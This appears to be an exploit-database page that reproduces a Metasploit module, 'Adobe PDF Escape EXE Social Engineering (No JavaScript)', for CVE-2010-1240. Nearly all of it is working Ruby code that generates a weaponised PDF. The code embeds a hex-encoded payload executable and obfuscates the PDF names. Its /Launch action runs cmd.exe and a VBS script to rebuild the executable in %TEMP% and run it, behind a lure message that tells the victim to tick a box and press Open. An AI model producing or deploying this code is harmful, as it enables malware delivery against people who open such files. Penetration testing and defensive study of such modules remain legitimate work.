Adobe PDF Escape EXE Social Engineering (No JavaScript)

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Adobe PDF Escape EXE Social Engineering (No JavaScript). Embeds Metasploit payload into existing PDF. Doesn't require JavaScript. Uses non-standard method to embed EXE using HEX encoding

                                                ##
# $Id: adobe_pdf_embedded_exe_nojs.rb 11353 2010-12-16 20:11:01Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

#
# Modified version of the Adobe PDF Embedded EXE Social Engineering &#34;adobe_pdf_embedded_exe.rb&#34;.
# This version does not require JavaScript to be enabled and does not required the EXE to be
# attached to the PDF.  The EXE is embedded in the PDF in a non-standard method using HEX
# encoding.
#
# Lots of reused code from adobe_pdf_embedded_exe.rb and the other PDF modules to make the PDF.
# Thanks to all those that wrote the code for those modules, as I probably could not have
# wrote this module without borrowing code from them.
#


require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;		=&#62; &#39;Adobe PDF Escape EXE Social Engineering (No JavaScript)&#39;,
			&#39;Description&#39; 	=&#62; %q{
					This module embeds a Metasploit payload into an existing PDF file in
				a non-standard method. The resulting PDF can be sent to a target as
				part of a social engineering attack.
			},
			&#39;License&#39;	=&#62; MSF_LICENSE,
			&#39;Author&#39;	   =&#62;
				[
					&#39;Jeremy Conway &#60;jeremy[at]sudosecure.net&#62;&#39;,
				],
			&#39;Version&#39;        =&#62; &#39;$Revision: 11353 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2010-1240&#39; ],
					[ &#39;OSVDB&#39;, &#39;63667&#39; ],
					[ &#39;URL&#39;, &#39;http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/&#39; ],
					[ &#39;URL&#39;, &#39;http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/&#39; ],
					[ &#39;URL&#39;, &#39;http://blog.didierstevens.com/2010/03/29/escape-from-pdf/&#39; ]
				],
			&#39;Payload&#39;	=&#62;
				{
					&#39;Space&#39;			   =&#62; 2048,
					&#39;DisableNops&#39;		=&#62; true,
					&#39;StackAdjustment&#39;	=&#62; -3500,
				},
			&#39;Platform&#39;	=&#62; &#39;win&#39;,
			&#39;Targets&#39;	=&#62;
				[
					[ &#39;Adobe Reader &#60;= v9.3.3 (Windows XP SP3 English)&#39;, { &#39;Ret&#39; =&#62; &#39;&#39; } ]
				],
			&#39;DefaultTarget&#39;	=&#62; 0))

		register_options(
			[
				OptString.new(&#39;EXENAME&#39;, [ false, &#39;The Name of payload exe.&#39;, &#39;msf.exe&#39;]),
				OptString.new(&#39;FILENAME&#39;, [ false, &#39;The output filename.&#39;, &#39;evil.pdf&#39;]),
				OptString.new(&#39;LAUNCH_MESSAGE&#39;, [ false, &#39;The message to display in the File: area&#39;,
					&#34;To view the encrypted content please tick the \&#34;Do not show this message again\&#34; box and press Open.&#34;]),
			], self.class)
	end

	def exploit

		# Create the pdf
		print_status(&#34;Making PDF&#34;)
		pdf = make_pdf()
		print_status(&#34;Creating &#39;#{datastore[&#39;FILENAME&#39;]}&#39; file...&#34;)
		file_create(pdf)
	end

	def pdf_exe(payload_exe)

		if !(payload_exe and payload_exe.length &#62; 0)
			print_status(&#34;Using &#39;#{datastore[&#39;PAYLOAD&#39;]}&#39; as payload...&#34;)
			payload_exe = generate_payload_exe
			hex_payload = Rex::Text.to_hex(payload_exe)
		else
			print_status(&#34;Using &#39;#{datastore[&#39;EXENAME&#39;]}&#39; as payload...&#34;)
			hex_payload = Rex::Text.to_hex_dump(payload_exe,16)
		end

		return hex_payload
	end

	def ioDef(id)
		&#34;%d 0 obj&#34; % id
	end

	def ioRef(id)
		&#34;%d 0 R&#34; % id
	end

	#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
	def nObfu(str)
		result = &#34;&#34;
		str.scan(/./u) do |c|
			if rand(2) == 0 and c.upcase &#62;= &#39;A&#39; and c.upcase &#60;= &#39;Z&#39;
				result &#60;&#60; &#34;#%x&#34; % c.unpack(&#34;C*&#34;)[0]
			else
				result &#60;&#60; c
			end
		end
		result
	end

	def ASCIIHexWhitespaceEncode(str)
		result = &#34;&#34;
		whitespace = &#34;&#34;
		str.each_byte do |b|
			result &#60;&#60; whitespace &#60;&#60; &#34;%02x&#34; % b
			whitespace = &#34; &#34; * (rand(3) + 1)
		end
		result &#60;&#60; &#34;&#62;&#34;
	end

	def make_pdf()

		file_name = datastore[&#39;FILENAME&#39;]
		exe_name = datastore[&#39;EXENAME&#39;]
		launch_msg = datastore[&#39;LAUNCH_MESSAGE&#39;]

		xref = []
		eol = &#34;\x0d\x0a&#34;
		endobj = &#34;endobj&#34; &#60;&#60; eol

		pdf = &#34;%PDF-1.5&#34; &#60;&#60; eol
		payload_exe = generate_payload_exe
		hex_payload = Rex::Text.to_hex(payload_exe)
		pdf &#60;&#60; hex_payload &#60;&#60; eol
		pdf &#60;&#60; ioDef(1) &#60;&#60; nObfu(&#34;&#60;&#60;/Type/Catalog/Outlines &#34;) &#60;&#60; ioRef(2) &#60;&#60; nObfu(&#34;/Pages &#34;) &#60;&#60; ioRef(3) &#60;&#60; nObfu(&#34;/OpenAction &#34;) &#60;&#60; ioRef(5) &#60;&#60; &#34;&#62;&#62;&#34; &#60;&#60; endobj
		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(2) &#60;&#60; nObfu(&#34;&#60;&#60;/Type/Outlines/Count 0&#62;&#62;&#34;) &#60;&#60; endobj
		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(3) &#60;&#60; nObfu(&#34;&#60;&#60;/Type/Pages/Kids[&#34;) &#60;&#60; ioRef(4) &#60;&#60; nObfu(&#34;]/Count 1&#62;&#62;&#34;) &#60;&#60; endobj
		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(4) &#60;&#60; nObfu(&#34;&#60;&#60;/Type/Page/Parent &#34;) &#60;&#60; ioRef(3) &#60;&#60; nObfu(&#34;/MediaBox[0 0 612 792]&#62;&#62;&#34;) &#60;&#60; endobj
		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(5) &#60;&#60; nObfu(&#34;&#60;&#60;/Type/Action/S/Launch/Win &#34;) &#60;&#60; &#34;&#60;&#60; &#34;
		pdf &#60;&#60; &#34;/F (cmd.exe) /P (/C echo Set o=CreateObject^(\&#34;Scripting.FileSystemObject\&#34;^):Set f=o.OpenTextFile^(\&#34;#{file_name}\&#34;,1,True^):&#34;
		pdf &#60;&#60; &#34;f.SkipLine:Set w=CreateObject^(\&#34;WScript.Shell\&#34;^):Set g=o.OpenTextFile^(w.ExpandEnvironmentStrings^(\&#34;%TEMP%\&#34;^)+\&#34;\\\\#{exe_name}\&#34;,2,True^):a=Split^(Trim^(Replace^(f.ReadLine,\&#34;\\\\x\&#34;,\&#34; \&#34;^)^)^):&#34;
		pdf &#60;&#60; &#34;for each x in a:g.Write^(Chr^(\&#34;&h\&#34; ^& x^)^):next:g.Close:f.Close &#62; 1.vbs && cscript //B 1.vbs && start %TEMP%\\\\#{exe_name} && del /F 1.vbs&#34;
		pdf &#60;&#60; eol &#60;&#60; eol &#60;&#60; eol &#60;&#60; &#34;#{launch_msg})&#34;
		pdf &#60;&#60; &#34;&#62;&#62;&#62;&#62;&#34; &#60;&#60; endobj
		xref &#60;&#60; pdf.length
		xrefPosition = pdf.length
		pdf &#60;&#60; &#34;xref&#34; &#60;&#60; eol
		pdf &#60;&#60; &#34;0 %d&#34; % (xref.length + 1) &#60;&#60; eol
		pdf &#60;&#60; &#34;0000000000 65535 f&#34; &#60;&#60; eol
		xref.each do |index|
			pdf &#60;&#60; &#34;%010d 00000 n&#34; % index &#60;&#60; eol
		end
		pdf &#60;&#60; &#34;trailer&#34; &#60;&#60; nObfu(&#34;&#60;&#60;/Size %d/Root &#34; % (xref.length + 1)) &#60;&#60; ioRef(1) &#60;&#60; &#34;&#62;&#62;&#34; &#60;&#60; eol
		pdf &#60;&#60; &#34;startxref&#34; &#60;&#60; eol
		pdf &#60;&#60; xrefPosition.to_s() &#60;&#60; eol
		pdf &#60;&#60; &#34;%%EOF&#34; &#60;&#60; eol

	end
end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1